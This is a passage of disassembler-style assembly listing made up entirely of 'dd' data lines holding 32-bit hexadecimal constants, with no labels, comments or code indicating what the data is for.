		dd 2C24DA2h, 4506684Bh,	6A00F49Bh, 37844CEh, 0E2E1D910h
		dd 0D818FC62h, 38B1E76Dh, 4ACA007Bh, 5EFE2F94h,	0EE000363h
		dd 6EC2189Bh, 0FB9F68h,	22F1617Dh, 7C80DD2Dh, 72D83A1Dh
		dd 7880E99Dh, 208F9948h, 97DB3B6Bh, 21C9188Bh, 93FA9B82h
		dd 3FB0CDC0h, 74985000h, 485D1FD3h, 69A90F71h, 10E02309h
		dd 13663D64h, 0C4260A07h, 2C90061Fh, 0E8DDC68h,	4681EE3Ah
		dd 6EA60B80h, 89011DE0h, 39EA581Ch, 44F0E57Eh, 7ADE7CFBh
		dd 7B8FA0C8h, 1FDD0081h, 7CA5E316h, 0D20C4327h,	85EDE3Ah
		dd 49760Ah, 4DD9B61Fh, 0A3067CCDh, 15D87A00h, 0A571D509h
		dd 0F9920088h, 9BD6DD66h, 0A30FF70Ch, 8C7414h, 34ECA568h
		dd 0AB981F32h, 265E2C8Ah, 0BFCB00E6h, 134A902Dh, 85FC20C6h
		dd 90686038h, 6FDAECF6h, 80076937h, 0D3558681h,	0C725430h
		dd 7152CA73h, 21C07808h, 0E2D08E26h, 0FB9D005Fh, 666B8C36h
		dd 60002508h, 0BB7E3AFEh, 98F63EAh, 0CD6D1D98h,	0F2184E0Ch
		dd 72A61F0Dh, 2E604808h, 0E2A10787h, 76B6502Bh,	0E760095Dh
		dd 5C6F9D21h, 0BF770046h, 7173933Fh, 8409CF25h,	0FDBD756Ah
		dd 0DBB62180h, 7E0045C4h, 31CC03Dh, 3AB1170Bh, 0BB80AC4Dh
		dd 0B6C382D1h, 0C600F55Ah, 85B764FAh, 0F0980F2h, 0D810B9FCh
		dd 95EE20C0h, 0E1025125h, 1F4419FAh, 0A1E3C0B8h, 9B7B35h
		dd 4D5930FFh, 0EC10B390h, 4F0D7A00h, 0A3A2CEF6h, 0DAA71E56h
		dd 0B942405Fh, 222D946Ch, 44E97500h, 0F5581E3Ah, 0E0990037h
		dd 0DC27AB0Fh, 420501DEh, 45AD1D09h, 240468h, 0A7C5B5A4h
		dd 1EAFD091h, 303094F8h, 0A30D2129h, 339E4E9h, 0A8B69E19h
		dd 0ACA29591h, 0E892CA20h, 391C0077h, 3E79CB6Eh, 961F53C4h
		dd 0A181FD2h, 20811488h, 9501D0A7h, 6FD5CC90h, 92C043F4h
		dd 0D714A0B9h, 64EC0358h, 0C4795296h, 0EAE02FDAh, 32761219h
		dd 35088E00h, 50FF31A1h, 941D009Fh, 0F28F54F5h,	0C139AF44h
		dd 7460877Ah, 0A46056F3h, 1DB95594h, 0C67221BDh, 9D48E6Eh
		dd 207B5630h, 0BDB0B5h,	0D0DAA569h, 7AE87CBFh, 29F01000h
		dd 0E72B9FB4h, 99620085h, 0F587D20Fh, 2AE2A471h, 9560101Eh
		dd 3D149F00h, 0C692675h, 331E3646h, 60C07408h, 4A1A7FF5h
		dd 0E3FE8Eh, 4E7C071h, 0D26156CAh, 90646B0Ch, 13F484Eh
		dd 0B6973944h, 0F71EEDCFh, 0D009E7D1h, 0F200A85Eh, 9733353Fh
		dd 19DC66h, 7FCF39C8h, 9CE009C5h, 96A420C0h, 0F82217B2h
		dd 0D45A0005h, 0DDEB6F6Eh, 6D18F5E4h, 0A4688052h, 21500034h
		dd 0CBB1102Eh, 0CCE20159h, 0A48980E9h, 2720FBBAh, 773A1EC1h
		dd 0EEC28903h, 60ACEE80h, 0C610FB7h, 6D2A9428h,	3A246040h
		dd 2757C42h, 3996DA0Fh,	9C895C53h, 0B0D8AF80h, 2000243Dh
		dd 690B84ECh, 0A3577Ah,	7D22A16Ah, 5D3E9FD9h, 0A0118B1Fh
		dd 8AE32B80h, 0AA7BAC5h, 0F3B747FBh, 81350018h,	693FACC8h
		dd 88532E00h, 3634422Ah, 4BEE2C24h, 52FD02AFh, 0E3DF0EA5h
		dd 0A169A05Fh, 1F6C7D95h, 362BA24h, 0E5E65B35h,	83A20AA1h
		dd 86DBC858h, 296789BEh, 75B512C8h, 0CBCD038Bh,	2450E46Fh
		dd 28354801h, 0D377D468h, 8EFC8h, 0EC254D1Ah, 0F5BD52D8h
		dd 0C5BFAC00h, 0ADAB7483h, 60E035Ch, 7E98E287h,	24001873h
		dd 331A4CB9h, 27404Eh, 9D840DBDh, 0E0580247h, 6E684F60h
		dd 1939A29h, 2D4E79FEh,	0D0740B65h, 20C033C1h, 0F29A59A5h
		dd 2890B3h, 0B80DAB0Ah,	232C49F7h, 19B49250h, 0EF22DE00h
		dd 0CDFA5CB5h, 0ABFCDFh, 7A4A76A4h, 5E803411h, 0C1BDA700h
		dd 0C5FF474Bh, 579A0A2Bh, 2CE369D1h, 41873ACDh,	30B00777h
		dd 0B24BA22Fh, 0C708D263h, 46680089h, 99F00776h, 2E03D68Eh
		dd 1F42FEF8h, 2989003Fh, 0D002E9BAh, 5C006A0Dh,	0A4D7B1B9h
		dd 139387h, 5FC517B4h, 27BBD0F1h, 0A53C3F1Fh, 0EF2B20C0h
		dd 582A48h, 0E7F9672h, 0FD1599FCh, 0E19A6300h, 0E8BA46E9h
		dd 6C1D1FA2h, 0EC458051h, 64CC810Dh, 0C7B65200h, 0FB77A85Bh
		dd 255400E2h, 0CB4DBBCEh, 8A7A71F1h, 0AB024200h, 983AF2B6h
		dd 6012E8B5h, 8927204Eh, 8E038BE2h, 0ADB1EE3Eh,	401CDAFEh
		dd 0E5D138h, 0FA9A5865h, 0FC0768CFh, 31615Ch, 6E8951F1h
		dd 3FB92239h, 93005F43h, 4F247026h, 4E007A5Eh, 516996A3h
		dd 0E8551AAEh, 11C500F4h, 0E69114D2h, 7E195F75h, 0F00824D3h
		dd 0B332180h, 4ECEEB14h, 7068EF60h, 0EE553F8h, 863257F0h
		dd 0DC9B0077h, 8F4B7108h, 14896700h, 0F555AF7h,	0D94600FCh
		dd 7A90FDB1h, 59CE32FEh, 18E4855Bh, 4208444Eh, 3025E643h
		dd 0F30B78CEh, 0F52131C5h, 0BD00A60Bh, 0AE055DB0h, 9A1DE77Eh
		dd 74401D37h, 0FDC7DC1Fh, 0F0A2009Dh, 7DD1B367h, 6F033052h
		dd 79FA7C2Dh, 56703960h, 8045E21Dh, 0CF40EBFBh,	0C0011522h
		dd 97F6C707h, 0B4407EC9h, 0CF3CBDEh, 492519B9h,	1C0BEEA8h
		dd 80B1282Bh, 602ED3D3h, 367C2Ch, 50F0A7EFh, 4CCE8EA6h
		dd 2EA6E34Ch, 3609F8FCh, 0B614010Ah, 0C2364F7h,	96004123h
		dd 8B023EBEh, 10ED86B5h
		dd 98BFA57Bh, 2E3B00CCh, 0E623A9AAh, 541DA7FFh,	0A2C3D60Ah
		dd 0E176459Ah, 0E880EF95h, 0AD042F65h, 7D0C68B9h, 83D1A58h
		dd 50FD0077h, 4308CF4h,	7BF8A96Bh, 0B4D56D00h, 7D7549F6h
		dd 5C3F01ABh, 133EEC5Dh, 0E1D45061h, 0A307B8DEh, 29FF9B20h
		dd 0E9266610h, 0D8FE0681h, 284BE4DBh, 4C59F124h, 4D1BBF41h
		dd 0E0B663CCh, 7721015Ah, 37A98708h, 44BC20BCh,	6B85C405h
		dd 980410FAh, 0D4012982h, 0BBF3793Ch, 1DE58250h, 48A212DEh
		dd 0CCB4664h, 64A4581Ah, 0EC1E94F0h, 86BE7C17h,	55D25C1Bh
		dd 0A0455008h, 0C9FD0051h, 93A82418h, 190CE628h, 4866D0CFh
		dd 62028C0Ch, 961A1E18h, 104A1929h, 172497h, 0BF419DC3h
		dd 4F1163C6h, 0D597009h, 7B782403h, 5A8C2080h, 0F2412A0Fh
		dd 0CD6421F8h, 64BFA98Eh, 6D6390D0h, 8810F116h,	729EAE0h
		dd 0B358BED8h, 0DC8A86h, 39A07F77h, 10C2F8FAh, 0B321459Bh
		dd 0A6FBD0FCh, 374046B9h, 85E0C028h, 90090495h,	42D31CC7h
		dd 61067E12h, 0B1F5C713h, 9023D219h, 0D4242151h, 0DFF9F025h
		dd 65DC0CC1h, 0C41E2F91h, 1780E0AAh, 0A195493Fh, 578E0373h
		dd 0BBF2177h, 0CCDEF690h, 0B000EE74h, 18675542h, 0D38F2Ch
		dd 0A9A2D5E1h, 219F8546h, 0CC842900h, 59542056h, 5D570098h
		dd 0A25C1F80h, 0AF01790Dh, 0C9A3A16Ch, 41E01058h, 0D28F3008h
		dd 0EB231749h, 0A4B17A00h, 2821A16Fh, 9C991FC7h, 401500DEh
		dd 33CA83E4h, 8CAB9500h, 3E62AA32h, 4159C08Bh, 0D2CEDEE8h
		dd 0A50F163h, 0AE0818E6h, 574B20ACh, 3383E000h,	0EFB90CC8h
		dd 0DE7008Ah, 242E22E6h, 3603B634h, 0DF55D0B4h,	9856A8A7h
		dd 4668C88Bh, 0D262F4C1h, 86D751C4h, 3B08520h, 0BA62F377h
		dd 0BFE8EE78h, 0C40181E8h, 57921F7Bh, 2F208Eh, 0B00C1A5Ah
		dd 0A901F78Ch, 4855D5F6h, 4420D761h, 8AA8A036h,	0D4DF0087h
		dd 4DB8DA4Fh, 0CD66BBA6h, 1C49AA08h, 0BCD4E02Eh, 0C0D56400h
		dd 81B00D5Ah, 8221AF60h, 0C7DD0557h, 9035E969h,	8D965AFFh
		dd 80001DF8h, 1E0BB792h, 294C55B4h, 70789810h, 67428A19h
		dd 5AF2E900h, 6D3A52DAh, 3C8D4803h, 95CC75ABh, 0B8218C47h
		dd 5AA89341h, 0EA1824h,	64A38869h, 2CAC793Fh, 186AF63Ah
		dd 80208415h, 0E7880068h, 49A653B4h, 3A7406A2h,	0B6361517h
		dd 3BF30201h, 9C42574Eh, 0D4B733h, 6D7A0CCEh, 0CD1F42E9h
		dd 2846ED39h, 39C08371h, 4C857D7h, 89533DFCh, 0B2C6068Ch
		dd 7D083EAh, 0CBED6CC8h, 514C503Ch, 500909Dh, 12A1D8BFh
		dd 0F5EF83h, 1EF06569h,	78DDE5A9h, 0A03E2B0Fh, 47B8BDAh
		dd 1382725Bh, 0BAB28029h, 0CAA175h, 94FC179Ah, 9DEF8D2Fh
		dd 218208CCh, 9AF458h, 0BF44DCCBh, 54A5817Ah, 25015198h
		dd 63E3AA9Ch, 20E4A6A4h, 53050040h, 5E834981h, 0A807DDE4h
		dd 0A4EB995Dh, 95509Ch,	23FE72A9h, 29D6F44Ah, 38085560h
		dd 0BA4994h, 457291E2h,	336B3534h, 46983D01h, 8807D06h
		dd 0CC0DECh, 0A875BBF1h, 0B7433FD2h, 0DE9BE8C1h, 0A080C081h
		dd 0B8CC1041h, 9E3EB495h, 29DF0044h, 25CA1BD4h,	0A3C40208h
		dd 0DC4DC64Bh, 8E609804h, 52EC6772h, 81D7308Ch,	7D2DB520h
		dd 26E8FA1Fh, 2E03125Dh, 0BBA2DAh, 1FC5F041h, 0B6963E86h
		dd 38E7FA03h, 0C339A77Fh, 8CFEF978h, 5900B0BEh,	0BDFA545h
		dd 35001B75h, 0D16B22F6h, 6F0F73h, 0F8097ACDh, 8CCC2D42h
		dd 4192A800h, 6508F0B1h, 7CEEE6Eh, 597537E1h, 0BEC50CCh
		dd 19FE84DDh, 8889760Eh, 0F0B240B8h, 0CD9699h, 365A70BEh
		dd 0C45E1F33h, 750C4500h, 3D825BAFh, 0F1A80095h, 0FFA3CF2Ch
		dd 9D3AD55Eh, 0E2833DB7h, 87C660A0h, 5C70C3D9h,	8C3502h
		dd 2D1D3C16h, 77B65FE2h, 281C6300h, 0D1C49AF0h,	5B0C07DCh
		dd 60207481h, 0FE9E2EE2h, 864F7300h, 0E01454A6h, 39010040h
		dd 0F01249B9h, 9830A362h, 8DBF182Ch, 60760120h,	825ECA46h
		dd 1BD8BC0Ah, 0E090CD9Dh, 35CE11h, 0FD4E28D6h, 83109C49h
		dd 30B68B00h, 32051465h, 687402A0h, 89872F5Bh, 0DCF655C0h
		dd 299F4800h, 42E19A4Fh, 71A6246Ah, 10B119D1h, 81045FDBh
		dd 0DADEDD04h, 935CF0h,	114190EFh, 21D232A8h, 80EBF73Bh
		dd 56E7228Ah, 70EC4Dh, 0AE7ED0EEh, 10620BF2h, 140B28E6h
		dd 0E9C266h, 0F039FAE7h, 0B9F40E1Dh, 21E0AFEAh,	0FE7F243Fh
		dd 0DA61D900h, 64346B51h, 0A4D21CC0h, 5A00F9DFh, 1E0644D7h
		dd 0AA0055B8h, 0AD669827h, 483E38E3h, 700796DEh, 5EC313h
		dd 0E6271FBFh, 76C68900h, 0CB804F5Dh, 84200042h, 6286E0FEh
		dd 4500DE0Dh, 0DAFA229Eh, 1E81F299h, 5A30433h, 0C96575h
		dd 0E0222CE3h, 43016C89h, 263964FCh, 1CF0975Bh,	19A91F07h
		dd 0C1CF5E35h, 7F69037Ah, 9C9DE8C9h, 8A285C17h,	0C085C00Fh
		dd 0CDC466ECh, 2800045h, 0FA9DE68Eh, 69037F13h,	49EBBF6Fh
		dd 0CC0FD01Ah, 95FF50BAh, 50BC3B2Ch, 0C01C28h, 218CF3C4h
		dd 2742460h, 58E63200h,	55AF7A89h, 0D1000C5h, 43404C27h
		dd 1D026DB3h, 0B69061CBh, 1FE8A045h, 677CC4h, 0D6A27627h
		dd 0E2E56699h, 4A96EB00h, 0B45A911Bh, 9C4F003Eh, 6CA0538Ah
		dd 36017D82h, 0F7BCE279h, 0E3E0079Ah, 426D0566h, 0A6F3C7h
		dd 0CE06FF98h, 0B204248Bh, 0E6628FA9h, 18DD3BC0h, 7CEA4Bh
		dd 0A39C7625h, 0F21D2606h, 97358C00h, 0D5C16C01h, 91E900EAh
		dd 54CB6EC5h, 2D00DC66h, 1CDFAF4h, 0F39BA6D2h, 0B24BF8h
		dd 814C433Bh, 9C732D40h, 526F1300h, 0A6D3C25Ah,	51DE00C4h
		dd 6BA418F5h, 560BDF8Ch, 0E5A299Dh, 0AFBF40ACh,	0B732C5h
		dd 0F6803A28h, 97A99B3Ch, 2612F8E0h, 7C00BC0Dh,	0E0197ACFh
		dd 8AC00E47h, 7CC1B505h, 0C8EDCEACh, 3700BAD3h,	3887D82Fh
		dd 211CD2h, 4F7BAFB5h, 10A13079h, 8F00BE6h, 778F1F00h
		dd 0ECE3160Ah, 9BEA262Ah, 0C74A0069h, 86F3BACDh, 210078FAh
		dd 0C6F4A7D9h, 0F258AFh, 4502E8B8h, 74845344h, 0FEA92101h
		dd 7F649F8Fh, 9951E852h, 0D8F834B0h, 95B600B7h,	0B2065726h
		dd 141E8D04h, 4C40F25Eh, 7C828E0Fh, 0DF801218h,	0C5400059h
		dd 3224304h, 627E5700h,	6E32C4CCh, 781490DAh, 0B5E20FF3h
		dd 37E09D15h, 0A1EC7B89h, 4CCEC700h, 6CCDEF8Ch,	0EA1D1357h
		dd 271840BBh, 81C60A7Fh, 21713200h, 0DE7A9B93h,	8357006Ah
		dd 612ED152h, 6BE27CC6h, 0B88B5003h, 8098BAE6h,	0E475A918h
		dd 9F50BD27h, 80CEE83Ah, 55BD3F2Eh, 410784h, 3B051909h
		dd 7960CCABh, 0E6B72407h, 4A809932h, 0FAC9Eh, 4B59F6EEh
		dd 534D96C8h, 47BB7401h, 87345738h, 3CC55DF0h, 8F05A360h
		dd 0C03F5C50h, 0AD5ABB33h, 35181A00h, 560F2181h, 0B74A5C16h
		dd 9C973700h, 0C4016122h, 852CC800h, 4923FDFh, 2625077Fh
		dd 17E5639Fh, 80F78483h, 0C9D7A795h, 6AC34300h,	9C54B4BEh
		dd 0BB81445h, 3900C180h, 5E7D1766h, 0FF6012CCh,	585CD80h
		dd 53CF00A7h, 9760B63h,	8F007A8Eh, 6126C4DFh, 0FFFD2B8h
		dd 1F8949F2h, 0DD8DB7A1h, 2EE0E011h, 19122703h,	0E8ED79FEh
		dd 1CEAB0h, 113B7D0Eh, 0B275F42Ch, 0A839E100h, 0A9885678h
		dd 0E09001h, 0C2E3E4A5h, 242BFD73h, 0EC1BBD00h,	0FE647E99h
		dd 0ADF85Ah, 6BC32EFCh,	3EDC584Dh, 0CA235E00h, 669BB3EDh
		dd 0B7AE00F3h, 3A1F0C7Bh, 3300A8BBh, 3FAD8162h,	0EC8EBC2h
		dd 0CF20547Ch, 4CB6B881h, 0B1DCF872h, 0BC294000h, 0F9240269h
		dd 27431337h, 5FC440F4h
		dd 1FD54AE6h, 77412100h, 10C36C8Dh, 0E81D0765h,	8069532Ah
		dd 0ADC228B4h, 14581702h, 608AC6FEh, 9154AD8h, 0E193D721h
		dd 0C7809800h, 0EC006716h, 5097E84Eh, 830D78h, 0DC2BDAE5h
		dd 0D75CD989h, 0E4FBB707h, 0F6F0C1A3h, 11115E7h, 0E9499210h
		dd 0D469F398h, 6800A76Fh, 83FE8B4Bh, 4F97CDh, 8C18861h
		dd 6AAFD8E7h, 39C3F700h, 7747FA7Ch, 3F93B0E1h, 299F4DE2h
		dd 902620h, 671BEDA3h, 1300EA9Ch, 0EEE2E13Eh, 0CADB24h
		dd 563F5961h, 2A7EC7F5h, 0DE098300h, 37F19FC1h,	81CF00E0h
		dd 17073C3Fh, 5800E76Bh, 4E702582h, 5C0477h, 0E39E4EEh
		dd 432A6837h, 0F6BF8E00h, 1B9BD236h, 0EA2C008Dh, 0E1ABC719h
		dd 900A88Bh, 0B33643AEh, 0F4E5E418h, 9FD03CF2h,	0D5871A80h
		dd 1211079Eh, 9A21E300h, 2F1DDBA5h, 953F00E2h, 56B70AFDh
		dd 4300D14Bh, 6153723Eh, 7E381C77h, 0D35F00CAh,	9ED02FA1h
		dd 0B47DEC7Eh, 63029C00h, 31A6C898h, 0FB7E09h, 0DCF7F008h
		dd 0B887C4B4h, 9912350Fh, 703F039Ch, 2F56E0CCh,	4FA60BB7h
		dd 0AE80A07Bh, 8CB6FB52h, 0C9901500h, 0AA45FDB8h, 0B43B0E2Eh
		dd 0A7A03E3Ah, 67D67F93h, 0B029601Ch, 68D0E840h, 0F4B20A92h
		dd 24401F6Dh, 3A80CF96h, 0D70778BDh, 0B1D127B3h, 200694D3h
		dd 1B3BE487h, 51B4806Dh, 0DE2C86EAh, 150C030Dh,	1858AA93h
		dd 0A8A8A583h, 0BB3F731Dh, 0EB678002h, 98F04407h, 12B31D16h
		dd 2417C05Ch, 25A56ACBh, 34234C00h, 7C66CF30h, 8FA43078h
		dd 415F890h, 0A52ADB03h, 8E6936BBh, 1EEE3F18h, 65116380h
		dd 66E18044h, 0C680A0Bh, 129A80A6h, 7EDBBCEh, 0B105365Ah
		dd 0D5F870E9h, 0B824E1C8h, 1F00B925h, 47841395h, 721E00B1h
		dd 628DD95Dh, 9EF093E8h, 992E323Ah, 0B3A92405h,	0A7ACD4h
		dd 394C3014h, 65DA8609h, 64C34F24h, 0BB7D1Ch, 74B8914Dh
		dd 163B5685h, 0A8AC9D06h, 640529A4h, 10178642h,	6B1EF152h
		dd 7EBB0Ah, 6ACAF2E5h, 34839540h, 408841B8h, 0CC1AB494h
		dd 2700B16Eh, 44C6FAAEh, 1DB24EC0h, 4DA0EEh, 0FF7168Ch
		dd 4A00DB20h, 0EA43884Ch, 0ECB414Eh, 50659C80h,	60FCD4E0h
		dd 0A1009B7Ch, 0DEA4DD75h, 0EC03A20Fh, 1619F417h, 0A757B0h
		dd 0AE8D2810h, 0E4E3336Bh, 0C300A9FCh, 0DB759DBDh, 60EE6Dh
		dd 35035F72h, 3B270AFBh, 0AAAB5807h, 208F2D4Eh,	8C80EF4Dh
		dd 0AAFE78A4h, 4AC0880h, 12024B64h, 0CBD4104h, 0C030563Ah
		dd 0A578AE64h, 0FD050026h, 974138FBh, 0AC7CBF10h, 0C2B9F28h
		dd 46101D43h, 62F98891h, 1111906Eh, 9E22910Ch, 10AD4304h
		dd 5849842h, 859E21CAh,	90422108h, 84679710h, 2421F059h
		dd 86150861h, 8826D21h,	5242AB71h, 0C0D1183h, 293CA9EBh
		dd 0F9584984h, 813C9570h, 0F8D03C11h, 0A0495B47h, 51247C4Ch
		dd 382A1585h, 6D6F230Ah, 0BD80B83Bh, 0F1D77BADh, 4B570695h
		dd 39AAD010h, 0D60CA6E0h, 601C1BF2h, 0FB3D0712h, 60D1B909h
		dd 0DB45C5A1h, 0F069F700h, 303C3B31h, 60620059h, 6E5DCB22h
		dd 0BB605A6Dh, 8090F208h, 5827006Ah, 0AAD4C6A1h, 87703CEAh
		dd 2CED4614h, 0AB56C14Ch, 788EAA1Dh, 53018826h,	70AF5006h
		dd 84A04769h, 0A800936Dh, 0BD96DB83h, 78F8C0Eh,	84903B16h
		dd 46C02FB4h, 97E2E09Dh, 0C5A25700h, 2D8C8A4Bh,	92380A24h
		dd 0C41C9520h, 2668B2h,	2A1D745Ah, 0F7DFB186h, 573CE31Dh
		dd 33853B05h, 5710C02Ah, 0DE7F0089h, 8635B2B9h,	1440D0FFh
		dd 0B54A0501h, 0DC167265h, 2500D57Fh, 67A927F5h, 0FEA282Ch
		dd 799BB551h, 405CB22Ah, 0DB7CA833h, 0F2A38500h, 4C949856h
		dd 0DCC30128h, 5CED40C7h, 5F65D096h, 549C1E1Eh,	5C86180h
		dd 0DB13F9Dh, 0C015D342h, 3A82088h, 1871E304h, 1080B2BFh
		dd 14C7DF3Fh, 145F4622h, 0B7C3047Dh, 31FD14Fh, 103FB950h
		dd 0EC6241B0h, 0B2AF46A2h, 4C9CB4h, 3C45E058h, 0C9699DDh
		dd 3E70107Bh, 64835A24h, 40564B80h, 9A8EC874h, 33AD2438h
		dd 0E101803Ch, 51109BCFh, 4BCC8154h, 920EF7B8h,	9E33E58Ah
		dd 9BB18B80h, 122CD9AFh, 6268965Dh, 9E1DC474h, 0CDD2C094h
		dd 0EA88A730h, 0B30E5600h, 0C39960FEh, 3ACE65Eh, 0D88E75F0h
		dd 2CD85D37h, 9E74F303h, 47582405h, 0AC835B06h,	20C629h
		dd 765134E9h, 84681FD4h, 13D2C0F3h, 0DFA56F07h,	37401A93h
		dd 7F61E292h, 0BDD53B6Bh, 0F5470287h, 3251E156h, 4F308F8Ch
		dd 2AD9A658h, 0B2A00058h, 739A77FEh, 0EA78E2DDh, 480C1100h
		dd 56CB088Fh, 0E4500024h, 24B0D0Ah, 5F0016A9h, 1CDC8655h
		dd 0A56F7BACh, 39645044h, 0E5DD84A8h, 2DCD6801h, 12DC3AF7h
		dd 372ACC0h, 238B3DE6h,	0CEC0A35Bh, 0E21D3BA5h,	0B6001427h
		dd 0C512022h, 4B39020Bh, 0E6613E8Ch, 734AA660h,	7200CB74h
		dd 972C2E11h, 0D8228Dh,	0A3965E18h, 39AC0E7Bh, 0C9B06106h
		dd 8927BFh, 0EF906928h,	867D1413h, 0E3FEA002h, 94681881h
		dd 0B8A80E84h, 43858BA4h, 0C2A0008Fh, 39AFF75Ch, 0A533F100h
		dd 0B424D5C1h, 0F09AE622h, 1A580054h, 0C7A23992h, 401D072Fh
		dd 0D58949F7h, 69042097h, 1ECDBE0Fh, 19555A3h, 5B0EEE8Ch
		dd 0BFD04053h, 3288C8E2h, 521C03B5h, 0E51DB4EFh, 0D39DA098h
		dd 43A18300h, 0EBA39747h, 18EF285Ah, 0F7A7CB4h,	0BE4BD280h
		dd 28DB73E3h, 0B83DFC8h, 0F65AE818h, 55D80h, 0A0E5D9C9h
		dd 0ADF0D725h, 0B6CD20FFh, 0D43BF3F2h, 0EDEBEF9h, 7598891h
		dd 53415476h, 0C2245AFh, 1C1B66BCh, 87D8EE60h, 4887664h
		dd 0FE351E89h, 534813Ah, 4A6AC10Fh, 6FEE7FCh, 79C88C08h
		dd 0F46D5202h, 90064200h, 0C9E23112h, 81D80A7h,	0E0448520h
		dd 528A5699h, 0BDE03500h, 0A9B3D21Fh, 121E0F64h, 20986986h
		dd 4B07A03Fh, 4FFACCDBh, 0D8650E30h, 0CBC68998h, 1601021h
		dd 0A5D7FAA1h, 0FBE71752h, 1001BE85h, 5ABD37F9h, 10CD9108h
		dd 95E921CBh, 4B7800E7h, 93E23063h, 109AF39h, 20EA4Ah
		dd 6EDB7D6Dh, 5266063Eh, 0B0B9ADFFh, 39610DFCh,	5E8736D0h
		dd 494C4081h, 0B9BAFACFh, 0AB8D8h, 5C280873h, 6CB994Bh
		dd 0C0974D9Dh, 3918908Ch, 5A405D0Ch, 256803DDh,	4D9306C3h
		dd 1D004876h, 0CD3664A8h, 308AA4D8h, 0FFC9AA2Bh, 0CE8FD93h
		dd 0DBB4C106h, 1CA04775h, 5968DC33h, 603948E6h,	20295010h
		dd 490CB0D0h, 3C80C0B6h, 70005CE9h, 51E30453h, 0D0ABFA90h
		dd 85A7EAD0h, 48DD8A4h,	5D5B2BC1h, 0DA21085h, 21A800F1h
		dd 52852219h, 0B9A51018h, 70962BA8h, 0B53C0AB4h, 16985A91h
		dd 29C51821h, 0FD402E02h, 5E448632h, 0C72C4431h, 0C851516Fh
		dd 0FF6C84B5h, 504D0E42h, 8B934100h, 455A3B7Dh,	11BB8A00h
		dd 0E3EC0853h, 46740962h, 8200427Fh, 0A3369F1Dh, 1C843300h
		dd 6D48DB90h, 2E4E03A8h, 8B542446h, 0C9D4B9B0h,	800D5C3Eh
		dd 9CF8F02Ch, 3BEAA731h, 5E946E29h, 0E600AD11h,	3CF97FFEh
		dd 2800E29Bh, 0E8F7D8C7h, 702112h, 4AB0C5E1h, 48B97BF2h
		dd 1798F9E2h, 32058007h, 1911A370h, 0F7C8CA1Dh,	0D91E0327h
		dd 5991E518h, 4FA23D0h,	0C139A12Dh, 40E2439Ch, 143A8Ah
		dd 0B16557B8h, 51E1ABE6h, 7077353Fh, 0AC7B3Ch, 961B013h
		dd 4B7A3Fh, 0A1CAFAD1h,	0B244E90Fh, 5D1DCE00h, 0D64F2DDh
		dd 9066772Ch, 42F8010Fh, 1BFC7E3Eh, 2AC8D4A6h, 0A48FFCABh
		dd 0AEB890A2h, 7C071E8Fh, 0ED4F382Ch, 0C7C3E737h, 0CEC1F5AAh
		dd 88507D74h, 3A5B0B8Ch
		dd 8F005809h, 0E30E1EB5h, 0E27516BAh, 0C5C9EA00h, 27FF860Dh
		dd 555B03CBh, 68B203D3h, 0D195A0DFh, 1E1C2CF4h,	5BC678D0h
		dd 98D29Bh, 5328606Eh, 7CD8808Ah, 0D7188B73h, 4750F93Ch
		dd 0C2C700DAh, 0A9045788h, 6F1CD25Ch, 0C183AF8h, 7C7D8111h
		dd 0C793019Dh, 7940E19Bh, 0D670203Ah, 6ABF6603h, 33BFF51h
		dd 0A30A6CD0h, 0EC8898C9h, 1C09147Eh, 318128h, 7B974404h
		dd 18A101E8h, 0AFECB7C1h, 22D8E075h, 40E50800h,	0F669A6D6h
		dd 0F868000Fh, 0BAB52312h, 5200C007h, 5548BEA1h, 561C67h
		dd 95FB10DEh, 0EA456E60h, 0FE1930C0h, 0B34DF5h,	0DE139087h
		dd 884E837h, 0C800CFFCh, 0E17A014Bh, 3FF29AFEh,	0E90E29D6h
		dd 0E50194A4h, 0ECB21A74h, 0F800DEC8h, 0CD8AFBFCh, 3F9B631Ch
		dd 52879EB5h, 60A6503Dh, 8C1EAE6Eh, 0C914461Dh,	612D9F00h
		dd 24A272EDh, 0F043BA1h, 0C060651Ch, 826DBDE7h,	0F8058D02h
		dd 60961A8Eh, 7577DE1h,	782ACA0Eh, 0D9C4903Ch, 0EC00814Ah
		dd 0F3BB6CBAh, 12FF192h, 7D4F872Dh, 604DA56Ah, 0F0002446h
		dd 26CB736h, 0AFA81F4h,	0FF7EE729h, 9EE479F0h, 9200631Ch
		dd 0BB94C226h, 12107F53h, 1F68E0D2h, 0E9B7005Ch, 839E9F03h
		dd 0C2DB8C07h, 0AE9223DFh, 0A98403Fh, 9705056Bh, 2BFE5Eh
		dd 4AE7C3E8h, 0B624AC85h, 0F103C0F9h, 0F0B7960Bh, 12C7D4h
		dd 65F5A7E8h, 69CFC8EEh, 9A75D300h, 9AFC25Ch, 40F6001Ah
		dd 9807F599h, 7A003C67h, 2F1143B8h, 202F86Bh, 0AA84F076h
		dd 0AEC0E6C6h, 50056E2h, 88ADC374h, 0FF16D83h, 0CCAA4626h
		dd 5790BB00h, 10008191h, 79F3F406h, 0DB5899h, 0EB2FB1C8h
		dd 28229211h, 3A386700h, 272A5A0Bh, 1FA573A0h, 8A6B1C61h
		dd 0E03431h, 3F083C7Ch,	553F5C47h, 572200E0h, 4535736Eh
		dd 0F7DD0053h, 3FC3AC68h, 2300E199h, 0CBC9A7B8h, 0B8D5269Ah
		dd 4F51000Dh, 5DB002BDh, 0E7506752h, 0C71004E0h, 80A0B618h
		dd 82058A97h, 0A8C3473h, 538FC000h, 9022F29Fh, 0C41C26B0h
		dd 0BB4E066Eh, 7F7E2021h, 107A5607h, 760CE04h, 0ECBE4349h
		dd 1A7B0073h, 0FB70FA0Eh, 8100F51Bh, 8CB7D767h,	59D2E1h
		dd 0C7C0A5E5h, 0BED1FC25h, 1D002FF6h, 208C62B1h, 7DB6C69Bh
		dd 0DB4009Eh, 0B838B075h, 100336Ch, 2C0B739Ah, 1CDADFD5h
		dd 10DF9D7h, 0AEF38CE8h, 7AAAF8FDh, 0F48E3002h,	400FCF23h
		dd 0C51791Bh, 0C2F06BBAh, 710359ACh, 0E68B91FBh, 7789C8C8h
		dd 0DDFE3Ah, 9CBB3B6Bh,	0F860FC6Ah, 0BE59B400h,	0F2D0DCEDh
		dd 0CE24C009h, 3878FEFFh, 0CF6E2500h, 397628BFh, 80E667h
		dd 2CFD1AE6h, 6E335D48h, 0CE437900h, 4902650Bh,	0B9CB3ED0h
		dd 0BEDEA580h, 10EAF673h, 6B528B00h, 65262CE8h,	0D0590018h
		dd 3C9EF17h, 0D400AF78h, 2291B946h, 318375Eh, 0B0A0D328h
		dd 5B884F70h, 620978A8h, 0C7BB07h, 0A22A538Dh, 6A1500F9h
